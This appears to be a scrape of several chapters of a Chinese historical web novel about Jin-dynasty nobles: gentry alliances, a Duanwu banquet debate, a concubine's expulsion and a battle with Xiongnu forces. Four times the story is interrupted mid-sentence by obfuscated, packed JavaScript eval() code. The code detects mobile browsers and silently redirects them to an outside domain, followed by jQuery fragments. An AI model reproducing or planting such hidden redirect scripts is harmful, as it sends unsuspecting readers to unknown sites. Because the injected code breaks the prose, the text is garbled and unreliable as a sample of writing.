d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923926|160411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进计:“古之王者,无不以宾客之礼对待故老,关切四方之风土习俗,以此来招揽天下的贤士。四个月之后即为上巳节,届时将举行休禊之礼,大王亲观,若能招顾荣、贺循以结人心,则无有不至者矣。” 赵睿正有此意,询问:“茂弘觉得邀请处仲来观礼如何?”诸葛导眼珠一转,知是要借势,遂写了信函寄出。 这第二步,无非礼贤下士,且看两方能否协定,招致麾下。 门卫引领两人到大堂,顾荣似有等候之意,并无过多意外神色,命人上茶。 几句客套寒暄下来,顾荣见赵睿回答得沉敏有度量,乍看他亲观江东休禊,能让诸葛高门愿毕恭毕敬随其后,许是礼贤下士之主亦未尝可知。 “某尝闻彦先立于岸边轻挥羽扇,即使叛臣之兵溃散,从容镇定风度令某佩服,特来拜访。”赵睿在无人看到的地方蜷起脚尖,声音显得有些无力。“昔贾后乱政,王室多故,今匈奴南侵,北方大扰,某欲逐胡虏,然自度力所不逮,遂至今日,寄人国土,心常怀惭。” 聪明人对话点到即止。 任宗室诸王怎么相互厮杀,高门士族鲜少卷入,多以远观,诸王对望族不敢妄为,更是想法设法拉拢名士。故,士族不怎么受到影响,亦不忧虑内乱。可若匈奴侵逼,以胡人野蛮,百年望族毁于一旦绝非危言耸听。 晋篡曹魏后东汉儒家大族势力冉起,而洛阳的北士多为东汉末年之儒家后裔。鉴于南士羞于同属故国寒贱庶族的陈敏合作,可见洛阳北士与江东士族虽属不同邦土,然就社会阶级言之,实属一类。 顾荣等这一刻久矣,也明白接受赵睿邀请与否,不只是个人门户的选择,还关乎着所有江东士族的未来何去何从,意义不可谓不大。 江东需要有人作为表明的执政者去抵御胡人,根基不稳的赵睿正如幼年天子,需要一帮能靠得住有威望的大臣辅助。 顾荣在簟席上朝赵睿跪拜:“荣闻王者以天下为家,是以商之国都无定处;周武王定都镐京,九鼎却迁至洛邑,望大王勿再记挂此事。” 此言一出,赵睿和诸葛导眼中跃动着光芒。顾荣的答语乃是愿意合作,允许北人寄居江左,明着告诉他就是江东士族所拥立的江东之主。 随即顾荣遣散了奴仆,三人商谈如何守卫江东以及对南士的优待。顾荣又列出一份江东士族名单,赵睿皆纳之。 曹操刑纲峻密,赵氏本为儒家大族,故夺曹魏政权后,宽纵士族,与孙吴凭借江东豪族武力建国情势相合。赵睿不得不循宽纵大族之旧政策。 北士若在建邺复殖产兴利,必与当地吴人经济上竞争,则会招致吴人仇怨。建邺近旁既无空虚之地,京口晋陵一带又为北下寒士所占,而吴郡、义兴皆是吴人强盛之地,惟有会稽郡,吴人士族力量较弱,可为安居殖产之所。 择日赵睿又拜访贺循、纪瞻,三人相继应召入幕。任顾荣为军司马,贺循为内史,纪瞻为军谘祭酒。 8. 时来苟冥会(四) 五月五日,谓之浴兰节,百姓并踏百草,斗百草之戏。 近来洛阳士族相继过江,赵睿在新亭设下野宴,请过江北士携家眷同来,有意壮大自己势力。虞孟母有为赵绍择妻的想法,看有无适龄女眷,督促下几个针线侍女没日没夜赶工,终于在四月底做好,三个孩子在端午都换上了新衣。 家奴早早搭好幔障,每个小案后面铺以簟席,男女超过八岁不同席,又设置了竹帘隔开。 男人坐于一处清谈,主母们一块闲话家常,年纪较小的少男少女们又有自己的小圈子。 微风卷起幕帘,放入一只白色蝴蝶,它从上菜肴的仆妇头顶越过,连跨诸多小案有些疲惫,最后停落在赵令仪的案上小憩。 赵令仪右边坐的是诸葛毓。才落座,诸葛毓便笑盈盈搭话:“令仪妹妹痊愈否?”她带了酒酿,给赵令仪斟了半杯,“这是用糯米酿制的黄酒。当初曹孟德因粮食减产颁布禁酒令,而江南是鱼米之乡,得天独厚,并无此虑。不妨尝尝。” 在出门前,诸葛导便提醒家中几个孩子这次出游意义,故而诸葛毓主动与赵令仪拉近关系。 身为贵族,宴会上饮酒必不可少,赵令仪小抿一口,道:“很是香醇,多谢。” 似是休息够了,那只蝴蝶又振翅盘旋,从赵令仪眼前飞过,她视线顺着蹁跹的轨迹游移,扫到那身白衣停了下来。诸葛悦并未察觉到她的存在,隔着诸葛恬与袁延之敬酒。 诸葛毓一双毒辣的眼睛在他二人身上一扫,笑道:“大郎一听二郎围棋输给令仪妹妹,在家中夸赞妹妹机智过人呢,说是‘有机会要向女公子请教。’” “愧不敢当,上次属实是诸葛二郎谦让。”赵令仪语气低沉,看向别处。 “是么。”诸葛毓嘴上应答着,眼睛斜睨袁延之,“那日阿螭脸色铁青,说袁三郎在将军府外洒扫,我一听,袁三郎一向放荡不羁,这点小事他自是不会放在心上。” 经她一说,赵令仪自然而然瞥向袁延之。 女婢端上一盘葡萄,剪下一颗放于袁延之盘中,晶莹圆润,绿皮上还挂着水珠。他眼睛自始而终不看手中葡萄,流眄女婢身上,左手捏住底端,右手一瓣一瓣撕下。 袁延之将剥好的葡萄往前一推,女婢频频抬眸,好像在询问,他含笑点了点头,女婢这才弱弱伸手接下,滑入檀口。 对座的案上同样也上了一串葡萄,佩玖正欲剥皮,赵令仪收回目光,淡淡道:“我自己来。” 吃了几个,赵令仪喉咙甜到有些腻,右手拇指和食指发黏,起身到江水边洗手,吩咐佩玖不必跟随。 诸葛毓分辨不出赵令仪脸上是个什么情绪,也无心揣摩。 赵令仪蹲在岸边,卷起袖子,手探入水中抠着指甲缝里残留的果肉。身后有人悄然而至,看那裸粉色指甲修得圆滑,莹润剔透,银跳脱衬得皓腕凝如霜雪。虽不忍惊动这一幅画,但出于好意,话音从她头上劈下:“江水冰,女公子当心着凉。” 听到是男子,她迅速放下长袖,起身瞥了眼袁延之,望向波光粼粼的江面,闷闷地“嗯”了一声,扯出袖中帕子擦净指间水珠。 她今日穿着一件凤鸟花卉纹绣玉色绢凉衣,袖缘、襟缘则用颜色较深的青白玉色彩的菱形纹绦,摆缘用彩条纹绮。手臂系以五彩丝,寓意福寿安康,百毒不侵。 “我瞧女公子两眉颦蹙,是生性不爱笑么,莫不是那倾国倾城褒姒转世?”一语甫出,袁延之暗暗喟叹自古红颜多薄命,复又道:“女公子只做女公子便好。” “为何改口?是褒姒有红颜祸水之名,郎君说我像她,怕我气恼?” “女公子也以为西周毁于褒姒?”袁延之眉梢一扬,兴致盎然道。 史书上自古便是红颜祸水这种结论,只是智者岂肯相信。赵令仪心中凛然,冷冷道:“妺喜也好,妲己、褒姒也罢,皆香消玉殒于历史长河中,再也无法开口辩解。帝辛东伐,无暇顾及朝歌,给了西岐机会。周幽王废黜申后,废嫡立幼,导致申侯联合缯国和犬戎进攻镐京,最后死于骊山。此中种种岂是一句‘红颜祸水’可以囊括。” 她蓦然回顾他,两人目光一碰。日光捣碎于她琥珀色眸中,额角绀色碎发闪着金光,袁延之情不自禁点头,粲然笑问:“女公子言下之意是国亡于臣有二心?” “自汉末以来,你以为如何?”赵令仪不答反问,迎风而立,平静地看着浩瀚江水千秋万代如一日向东流去。光束勾勒出她瘦削身形,曳地长袖旖旎,似水波纹荡漾着。 袁延之凝视她投在地上的孤影,长长延伸到自己脚下,“女公子可曾为身不得男儿列惋惜过?” “不曾。”泠然二字如重石砸水,溅起千层浪,而后沉于水底。 沉默了片刻,袁延之留意到她一身凉衣质地轻薄,隐约可见里面小衣,突兀想起那日落水。见她并无回席之意,又问道:“女公子的病好了么?” “好了,那日多亏有郎君出手。”赵令仪拧着帕子,垂头看自己翘头履,“此前父亲与兄长想登门道谢,只是接连去了几日,府上小厮都说‘郎君出门游玩了,择日再来。’” 两人并肩而立,袁延之侧目看她手指勾在腰际衣带,他无意识地舔了唇瓣,舌尖传来一丝丝甜味,笑意渐深:“女公子贵体有福,那日若非水浅,袁某也是要中招的,只能与女公子一样等人来救。” 即使水位不高,淹到脖颈处也有危险,不会洑水的人意外落入水中因慌张而呛水,然后盲目挣扎。 听话里意思,他不会洑水,自己与他也非沾亲带故,赵令仪用眼睛追问他,“被淹死的往往都是救人者,你不会水却轻易救我,不怕死么?” 在袁延之笑成月牙形的眸子里,她看见自己呼之欲出的紧张,问出口后便十分后悔,别过脸去。 她差点上了他的当,他解释这些不就是为了让自己感动,春心荡漾,好叫她从此死心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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剑眉压着窅眇双目,轮廓刚毅,黄发束冠。即便不认识他,她也一眼猜出他的身份,遂敛衽行礼,“世子。” “不用这么局促。”赵绍罢罢手,弯腰捡起地上的花,打量了两眼,露齿一笑:“是茉莉才对。” “你看啊,”他走近一步,给她指着花瓣,“茉莉叶片呈对生,呈圆形,为聚伞状;九里香花朵数量较多,叶片呈倒卵形,两侧常不对称。茉莉较之九里香,香味更加柔和清雅。”说罢,还给她。 “多谢世子赐教。”庾文君乌溜溜的剪水眸子忽闪着,像个听话学生用力点头,努力讨老师欢心。 见她如此认真,赵绍有些怪不好意思的,揉了把脖颈,哈哈一笑:“谈不上赐教,是我阿妹也喜欢斗草,有时我陪着她瞎闹。她性格随和,你可以找她玩。” 庾文君也不说话,只乖巧望着他,脸上带有甜甜的笑。 却听那边一阵欢呼。 9. 时来苟冥会(五) 幔帐内,一众气度非凡的士子散坐外侧,焦点在两个罗襦广袖男子身上来回游移。被围绕的两人举手投足更是超然绝俗,如蓍龟之贵。 年轻的高门女郎们一见二人容光,耐不住春心芳动,愈发无心文斗百草之戏,抛之脑后,纷纷前来观看。 惜有名士不满朝廷重臣尸位素餐,作《崇有论》,对“贵无派”大加鞭挞,时人与他攻难辩论,却无一人能辩倒他。唯有诸葛衍来,令他如小屈。 诸葛悦的族伯父是诸葛衍,而袁延之父亲是诸葛衍“四友”之一。两位少年皆有家学渊源,从小耳濡目染。在场众人无不想见识两个新星清谈场面之激烈。 今日围绕“有无”为谈端,诸葛悦为主,立论万物自化独生;袁延之为客,对诸葛悦反驳论难。辩论中一个回合或一次交锋谓“交番”,双方多次交锋称“往返”。赢者为胜,败者为屈。 诸葛悦生得神清骨秀,一袭薄衫仿佛带着雨后空山的清新。诸葛毓瞧左右少女脸上已然浮起潮红,身为被仰慕者的胞姊心中甚是得意,越发敷衍回应旁侧少女的打听。 “上知造物无物,下知有物之自造。天地常存,乃无未有之时。无既无矣,则不能生有。有之未生,又不能为生。”诸葛悦语速不缓不急,有如清泉在山石上淙淙流过。 引《庄子·齐物论》为谈证:“罔两①问影‘何其无特操与’,常人以为,影子由形体产生,罔两由影子产生,非也。”他起身走了两步甩甩袖子,问道:“我身上有影子吗?” 被他目光扫过的少女们含羞之余,齐声道“无”。不少人世家子提出:“在帐帘里怎么会有影子?” 诸葛悦并不作答,大步走到帷幔外,阳光洒在他白青罗襦上。他挥动自己的衣袖,地上的影子便随着他手臂摆动而游弋。面对众人的疑惑,他含笑道:“故形体、影、罔两三者皆由光折射而生,各有其复杂之生成机制,皆自造自生,非由外在之他者所生也。” “说得好!”莺莺燕燕声此起彼伏,少女们不住鼓掌。 这一回众人目光投向袁延之,看他如何论难。 袁延之适才手执麈尾扇扶额,扇下唇角始终微微翘起,这会将扇从脸上移开,轻缓挥动,微风拂过衣襟,衣香飘散开来。沉香深邃、麝香浓郁、苏合香清甜、白胶香、丁香芬芳、藿香清新,六味香气交融一起,撩人沉醉。 本朝男子崇尚熏衣之风,士族子弟讲究敷粉。昔年魏文帝曹丕极爱熏香,因香气太盛而致马受惊。荀令君至人家,坐处三日香,留下“荀令留香”的典故。 那一双眼睛驰魂夺魄,在众人脸上一掠,从容自若道:“诸葛兄以为‘无既无矣,则不能生有。有之未生,又不能为生。’举形体、影、罔两三者未免太过片面。有之为有,恃无以生;事而为事,由无以成。譬如阴阳,男子为阳,女子为阴,男由女所孕育,若循兄之言,男儿乃自造己身,岂非谬误之论乎?” 有人觉得言之有理,微微点头。袁延之接道:“再如阴中之阳,阳中之阴,各以物类自相求从。夏日为阳,冬日为阴;朝昼为阳,夕夜为阴。夏夜与冬日共为阴,冬日朝昼与夏日同为阳。无名之论可知矣。既分物为类,则每一类之禀道皆偏,不全也;既其性不全,则不能自足,故须资乎外物也。” 才一交,群情鼎沸,少女们已开始倾向自己喜欢的世家子。支持诸葛悦的认为应得“名论”;袁延之的拥趸气焰更高一分,认定该得“名对”。旁观的弱冠男子业已窥见今日袁延之济河焚舟,两人势必血战到底。 “绝对之‘无’不能生万物,故万物之生,乃’有’自为之,非‘无’所生也。”诸葛恬并不认同袁延之“贵无论”,非诸葛悦偏师。他不惧他人闲言护短家兄,简述道:“土、水、种子俱是‘有’,若无土与水,种子如何生长?由此可见‘有’需要外在‘有’来实现其生长,并非由‘无’生‘有’。” 隐于人群中的赵令仪略微低眉沉思,佩玖听不懂长篇大论,问道:“女郎觉得诸葛二郎说得如何?” “言之有理。”赵令仪见诸葛毓距自己不远,挺胸高高抬起下巴,不愿惹诸葛家不痛快,便模棱两可答道。 这话正巧落入闻新耳里,他低低嗤笑一声,为自家郎君抱不平。 赵令仪私以为诸葛恬进攻得并不好,虽反驳了袁延之“无”中生“有”,可也说明了事物产生和发展有相互作用,间接对诸葛悦“非由外在之他者所生也”之言发难。此番若是诸葛悦发言,必然被人评定“受困”。 往返多番,众人仍分辨不出胜负,又轮到袁延之作难。袁延之幼时得过鼻疾,音色浊,咏颂论证时仿佛洛阳书生的声调。 “无在万化之前,空为众形之始。”他引佛家“本无宗”谈证,用麈尾敲了敲案几,冁笑道:“案几岂自宇宙之初即有乎?” 在场之人木然,凝眉思索半晌又摇头,见他漫道:“宇宙未形之前,一切皆空旷而无物。及元气陶化,万物始形。形虽资化,化之本,出于自然。自然如此,岂有造物主哉?由此观之,无在元化之前,空为众形之始。” 人之所以会陷入困惑,是因为执着于事物的具体形象,如果能以“本无”为心,那么这些困惑就会豁然开朗。 不待诸葛悦继续反驳,袁延之反客为主,对自己先前的言论发难:“人性之善也,犹水之就下也。人无有不善,水无有不下。仁义礼智非由外铄我也,我固有之也。” 他年轻气盛,儒、释、道均有涉猎,皆一坐所不及,原以为这场清谈以诸葛悦“屈”结束,角落一玉色身影倏然起身。 “若‘人无有不善’,这世间又怎多出许多作奸犯科之人?告子曰‘性犹湍水也,决诸东方则东流,决诸西方则西流。人性之无分于善不善也,犹水之无分于东西也。’橘生淮南则为橘,生于淮北则为枳,只因水土异也。可见环境之变,能易物之性也。” 赵令仪声音轻柔不失力度,在疏朗长眉下,眼神像潭水沉着,无波无痕。 “哦?那女公子以为何为善,何为恶?”人群中,袁延之一眼瞅见她。 此刻众人缄默无声,风吹动幔帐,帘外树叶沙沙作响。他含笑目不转睛望她,似在等她下文。 “宽容他人,善也,然一味宽容,犹能谓之善乎?利他为善,利己是恶,若正当范围之内之利己行为,亦恶乎?”赵令仪向他躬了躬身,“我并无打断二位之意,只是与袁郎君有歧见,想达意罢了。” 话落,在众人瞩目下离去。 诸葛悦认“屈”,出帷幔外探目去寻,那轻纤的影子在风中摇曳,一眨眼,犹留花影婆娑,恍惚听见白鹭怅惘一叫,看碧成朱。 回家路上,闻新满脸春风,喜形于色,好似他才是胜者。只是一想赵令仪对诸葛恬的评价,面容怏怏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923928|160411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袁延之今日大胜而归,脸上却如往常一般,挂着淡淡笑意,“你家郎君今日妙语连珠,你这个做奴才该为我感到高兴才是,何故愁眉苦脸?” “我在替郎君不值,奴听佩玖问女公子,诸葛二郎论述如何,女公子答曰‘言之有理’。郎君上回舍命救她,她怎么可以因为父辈关系偏向诸葛二郎。” “谁说她偏向阿螭,她说’延之有理’,我不叫延之么。”袁延之用麈尾指了指自己,“她不便指出阿螭的瑕疵,只能化用谐音。” 他一面说一面走远,留闻新还在琢磨,只听那愉悦的声音似秋千越荡越高:“知她者,惟我袁延之一人。” *** 不知怎么传的,荀氏背后说虞孟母的闲话落到赵睿耳中。是日,赵睿一厢命扈从默不作声去官府将荀氏在家谱上开除名字,一厢将荀氏召来。 进门时荀氏见虞孟母跪坐在一旁,脸色变得拉长,对赵睿又展露出笑颜,“大王寻妾所为何事?” 赵睿目不转睛看着手中帛书,头一下未抬,不屑道:“今日起,你不必在府里呆着了,改嫁马氏,回屋收拾东西就可以走了。” 荀氏一时愣怔,很快明白过来,恶狠狠瞪着虞孟母。脑中一转,塌腰匍匐爬到赵睿脚边,仰脸蹙眉潸然,一副梨花带雨模样,去扯他衣袖,“大王,你让妾改嫁,绍儿和予安、裒儿怎么可以没有母亲。” “哼!绍儿有你这样的母亲实为不幸。你身为妾室,目无纲纪,背后长舌议论主母,令家宅不宁。育女无方,女红为《女戒》四德要求之一,予安却不懂针黹。”赵睿奋力从荀氏手里拉回衣袖,荀氏由于惯性扑倒在地上,默默承受高位者的睥睨厌恶。 “妾即使是有错处,跟随大王多年,情义也算深厚,大王就不能看在孩子份上宽恕妾吗?” “卿既知身份是妾,孤为主,主仆情义你还要孤如何待卿?”赵睿对端坐的虞孟母道:“孟母出身高门,平日里对几个孩子也视如己出,由她抚养几个孩子再好不过。”虞孟母悠然应下。 荀氏比虞孟母先入府。虞孟母虽未有子嗣,但赵睿一向敬重这个发妻,也重视孩子教育问题,有优秀的长者引导,他自是满意。 音量不高不低,恰好门外奴仆听得见,荀氏身边女使见大势不妙,抽腿回小院求助赵令仪。 门外家丁来不及汇报给赵睿,姐弟二人便强行闯入。 赵令仪双膝跪地,垂着眼,看不到赵睿脸上神情。赵裒仗着自己是幼子,来了不先行礼,一头扎进父亲怀中,奶声奶气道:“阿耶~不要让阿母走好嘛。” “阿奴今日把《论语》背熟没?”赵睿两手夹起赵裒腋窝,一把抱在臂弯里,“阿耶一会可要抽查,背不出来就会打你手心。让虞母亲带你再多念即便,阿耶现在有要事处理。” 赵裒年纪虽小,却没被父亲威严吓到,两只小手紧紧拴住赵睿脖颈,不愿让虞孟母抱。他嘟起小嘴道:“阿耶,嫡母很好,但是阿裒想和荀母亲住在一起。” 赵睿绷着脸,对左右仆妇使了个眼色。赵裒张着嘴巴嗷嗷大哭,不情不愿被抱走,在仆妇怀里似脱水鱼儿翻腾着。 “父亲,本朝以仁孝治天下,父亲一向仁善。母亲已知晓所犯错误,看在劬劳份上,何不给母亲一次改错机会。”赵令仪拱手至地,将额头贴在手背上。 “你要孤给她机会?” 10. 时来苟冥会(六) “女儿求父亲。”赵令仪仰起脸,面上尽是病态的白皙,颤颤巍巍伸手去抓赵睿的摆缘。 “我已容忍多次,这此绝不姑息!” 赵睿低头看自己的衣摆,纤细手腕上青色血管太过醒目。他不喜欢这个女儿,她的唇毫无血色,太薄,是寡情面相。 “你和孤谈仁孝,进门后你可曾向你嫡母请安?不经传召就闯入,你眼里还有礼数么?”他阖上眼睛,大袖一挥,唤道:“来人,扶女郎回院里去。” 赵令仪呆呆张着嘴,难以置信地看着那个陌生又熟悉的人,她推开仆妇,颤悠起身,仿若不堪重负的枝头梨花。 回屋后,赵令仪静静地为荀氏收拾衣物。她忽然不喜欢这个水碧山青的江南,开始怀念洛阳,怀念那个将一切腥风血雨阻隔外边的墙,墙内有母亲,有兄弟。可如今她还在墙内,母亲被隔在墙外了。 多宝格上的青瓷瓶变得有些面目可憎,她是摔不碎的冰裂纹青瓷瓶,遇水则化,水干冰显,反复煎熬。 荀氏一步三回头走到后衙正堂外,赵令仪被止步于甬道边上,泫然未泣。 “母亲——”她叫了一声。 荀氏心弦一动,猛地甩开家丁,扑奔赵令仪跟前,嘴里发齼道:“予安,你别哭。侯门深似海,我为大王养育二子一女又如何,还是要伏低做小。离开或许对我来说是好事,下堂改嫁寻常人家也更轻松自在。” 家丁上来拖人,赵令仪拼尽全力撕扯他们,却纹丝未动,她无措尖叫:“你们太放肆!我是女公子,我只想和我阿母再多说说话,这又是违背了什么礼数?” 散落的鬓发黏在发红的眼尾,她大放悲声,似杜鹃泣血:“你们没有母亲没有子女吗?我母亲她以后再也不能进安东将军府署了。” “我的孩子。”荀氏揉揉赵令仪脸颊,怜爱地揽进怀里,“往后我不在你身边,你们三个要同甘共苦,相互依偎。绍儿是大王长子,阿裒大王疼爱他,我唯一放心不下的是你,予安。你身体不好,心思多,又爱劳神多想。” 赵令仪眼里噙满泪水,轻咬下唇,“母亲,我想……” “不许这么想,”荀氏打断她,知女莫若母,她还未说出口,荀氏便知她心中所想,“你在府上一日,就一日是女公子,王妃要做给众人看,不敢亏待你。只是你切记,别忤逆你父亲。” “可是……”赵令仪嗫嚅声越来越小,几不可闻。手背上传来温热的湿濡异感,不知是自己还是母亲的泪水,她垂眸一看,几颗滚热的泪珠没拦住,自眼眶中坠落,在胸口烫出个洞。 自懂事以来她很少哭,就算哭也是一个人躲起来抽噎,安静地任由泪水流淌衣襟。 见虞孟母远远望向这边,荀氏心一狠,擦干净鼻涕,给了赵令仪一耳光,“你记着,这世上总有一人会永远等你。”抚了抚鬓发,转身离去,再也不看赵令仪一眼。 鲜红的五指红印烙在赵令仪煞白脸颊上,她感觉不到脸上辣辣的疼。人长大就像吹灭蜡烛,一瞬间的事。 从虞孟母身边经过时,荀氏脚下一顿,生平头次向她低头,凄然笑道:“他们叫你一声母亲,你也要对得起这一声‘母亲’。” 她输了,她虞孟母也不会赢。 “府里一切从此与你再无瓜葛。”虞孟母挺直了背脊。 荀氏肩一沉,从门槛上跨了过去,面前三丈远还有一个门槛。抬头看到冷白色的天,寒鸦拍着翅膀,一声惨叫过后,从一个屋檐飞到另一个屋檐上。 *** 冰槛炉壁镂空作卷草纹装饰,侍女拿了蒲扇轻轻为诸葛毓送去凉气。团盘上摆着切好的夏白桃,诸葛毓用银叉叉中一瓣送入口中,香脆清爽又消暑。 今岁夏日异常炎热,雨水量少,四处干旱,长江黄河皆竭。 两丈远地上摆着一个炭火盆,热气从镂空花纹的炉盖冒出,炎炎夏日女婢跪在旁边,汗湿衣襟,不停磕头求饶:“女郎求您饶了奴。” “去岁冬月你便把我的琴磕坏,你说你身上冷,一个哆嗦没抱紧,现在呢?是不是也很冷?”诸葛毓诡异笑道,指头一动,身侧的侍女又往盆中添了几块炭。 “阿姊饶她这一次罢。” 诸葛恬双手捧着古琴徐徐走来,脚后跟着雪白的狸猫,宝蓝的瞳孔不安的四处探看。 诸葛毓托腮笑着,摇一摇头道:“端午日清谈你没听到女公子说,一味宽容只会助纣为虐。”她蹲下身想去逗弄,猫儿嗅嗅她身上味道,闻到危险气息,扭身一钻,躲到花丛里。 “这猫儿真不识相。”她顿时索然,坐回簟席,用绢布小心一擦琴弦,勾了几个音,见没走调,将余音抚平。 “你身上熏香吓着它了。这猫儿是我在沟里捡回来的,胆子小得很。”诸葛悦眼睛在火盆上一掠,“阿姊夏日烧炭暴殄天物,可知澹薄人家冬日还烧不起。” 他眉头微蹙,话语中带着些许无奈,命人浇灭火盆收起来,挥了挥手,让跪地婢女起身退下。婢女连忙给他磕了头,庆幸今日碰到大郎君躲过一劫。 诸葛毓瞧他神情严肃,不禁觉得好笑,这个弟弟愠怒时候说话也是温柔的。 “可我是琅琊诸葛家的女郎,生在富贵之家,自小锦衣玉食,将来的夫家也必然是世家高门,我这一生都不用节俭。” 她的笑声里仿佛长了一只天鹅,落在群鸭耳里,清脆响亮,可在商贾耳里,是聒噪的“嘎嘎”声。 “这天下无有不死之国,自然也没有哪个世家能永远保持荣华富贵,正如人性,善恶只在一念之间。”那日清谈过后,诸葛悦对自己一直信以为真的理念开始动摇。 “我的好弟弟,这一谈及赵女郎,你就胡言乱语。”诸葛毓不以为然道:“世家就是世家,改朝换代又如何?只要有筹码,依然可以不受影响。” “我不过以为一臣不事二主……几时提及女公子。” 见他脸上隐隐有绯红,眸光闪忽,她掩袖嗤笑,“我看哪,你这么推崇儒学,还谈什么老庄。”眼珠一转,又打趣道:“那女公子对你有意思。” “阿姊此话不可外传,恐损女公子清誉。” “这有什么?从前山涛妻韩氏还挖了个洞偷看嵇康、阮籍。我的好弟弟,同为女子,你的亲姊姊还能骗你不成。不过,”诸葛毓故作一停,端详了诸葛悦神情,才道:“你别以为从此就可以高枕无忧了,休禊那日,女公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923929|160411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落水,袁三郎可是不带犹豫跳入水中救人。他行事虽风流不羁,可要真上了心,又有几个女郎能抗拒。” 猫儿不知从何处钻出,跳进诸葛悦怀里,粉嫩的猫爪子在他胸口上一挠,有些痒意。 想到赵令仪清雅秀丽面容,纤巧身姿在人群中掷地有声,他手上抚顺动作一缓,唇边浮起浅浅笑容,将猫儿放到地上,想问诸葛毓如何知晓,终是没问出口。 *** 北行的大军跨过黄河,临近山西地界,行至太行山脚下诸葛旷下令驻扎休息,兀自走了百米远,仰首望山峰。副将吩咐好事宜,有要紧事找他商量,亦跟了过来。 只见北面山脉如一条巨龙蜿蜒起伏,直插云霄,日光透过云层的缝隙洒在山峦之上,斑驳的光影浮游而过。 越临近壶关,军中士气越低落,另一副将也不愿再北行,私下唆使施融去劝说诸葛旷。 副将施融绕到诸葛旷身前,略一抱拳:“太守不如现在就在这里停下,匈奴利用险要之地突然袭击,我军虽有数万,面对匈奴仍是孤军一支。此处可作为防御来观察形势,若实在不抵,还可以迅速后撤,南渡黄河。” 其实这个策略相对安全,但违背了最初援救壶关的初衷。若被动驻扎太行山以南,便无法阻止匈奴人打通上党、河北通道,而壶关必然沦陷,他们又何须大老远从寿春奔赴而来。 鹰隼般眸子冷睨一眼,诸葛旷怒喝道:“汝想动摇军心不成?” 施融退后一步,单膝跪地,“末将不敢。”说罢,抱拳告退。 回到帐中,几个副将已等候他多时,施融将外头兵丁打发去巡逻,众人围了上来齐声问:“太守怎么说?” 见到施融面色不好,有的约莫知道答案,有的仍不死心,问道:不会还要北行罢?” 施融也不说话,兜鍪往几上重重一放,一脚勾过杌子,给自己倒满酒。旁边几个复又追问。 一碗下肚,他才不疾不徐道来:“刘聪善于用兵,太守却对形势判断模糊,我等必是死于匈奴之手。” 此次刘渊派遣其子刘聪,石勒作为前锋都督攻打壶关。 “这……或许太守自有安排?” 几个人相觑,摇摇头,皆是一副灰头土脸。 “哼,我去和太守说说!” “回来,”施融低声叫住那个欲出帐篷的人,“太傅下了令,太守也是奉命行事,壶关要是真的被匈奴攻下,尔等就算活着回到洛阳也是要被杀头,不如拼一把,赢了就升官封爵。” 一说到赏赐,众人脸上不免有了喜色。 另一副将曹超道:“施将军说的对,汉武帝时期能打退匈奴,我朝又有何惧?这次打得刘聪那竖子跪地叫爷。” 几个一拍胸脯,说得有声有色,信心百倍,纷纷拿碗倒酒,觥筹交错。 天明大军继续向北,翻越太行山,进入长平后逃亡的百姓愈发多了。跑不动的老翁埋首田间,浑浊的眼里满是绝望,目送着大军北去,嘴里念念有词: 采薇采薇,薇亦刚止。 曰归曰归,岁亦阳止。 王事靡盬,不遑启处。 忧心孔疚,我行不来!① 11. 虎尾春冰寒(一) 黑压压的几万大军如黑蚁,密集穿过山丘间的狭长谷地,在辽阔的平野上有序展开阵型。 两军于距壶关五十里的长平对峙。 匈奴军旌旗迎风招展,上面傲然写着一个“刘”字,为首之人正是刘聪。阵前排满了弓箭手,弓已拉满,只待令下。 诸葛旷一举长槊气势豪壮,声音豁亮:“众将士随我杀敌!”纵马冲击,长枪槊挥舞如雨。 “杀——” 一时间军心大振,杀声如雷。骑兵部队率先冲锋,手中的长枪在阳光下反射出寒光,战马嘶鸣,铁蹄疾驰卷起尘烟滚滚。 战鼓隆隆,号角齐鸣,鼓舞着士兵,如一股黑色洪流向前涌去。 刘聪将手一挥,箭如雨下,射中不少晋军骑兵。 日头偏西,大地上鲜血蜿蜒流淌,尸体遍野,堆积如山。 战鼓节奏激进,响亮地振奋每个士兵。两军士气渐有悬殊,匈奴死伤近半,刘聪立即掉马撤退。 诸葛旷纵马乘胜追击敌军,两名部将率领骑兵紧随其后。 追至山丘豁口时刘聪开始反攻,狭长山路中突然冲出匈奴大军,晋军被打得措手不及,一时乱了阵型。 有了匈奴步兵掩护,石勒将双带两鞬发挥极致,左右驰射,伤敌过百,先冲乱晋军阵队,再成包抄合围形势。 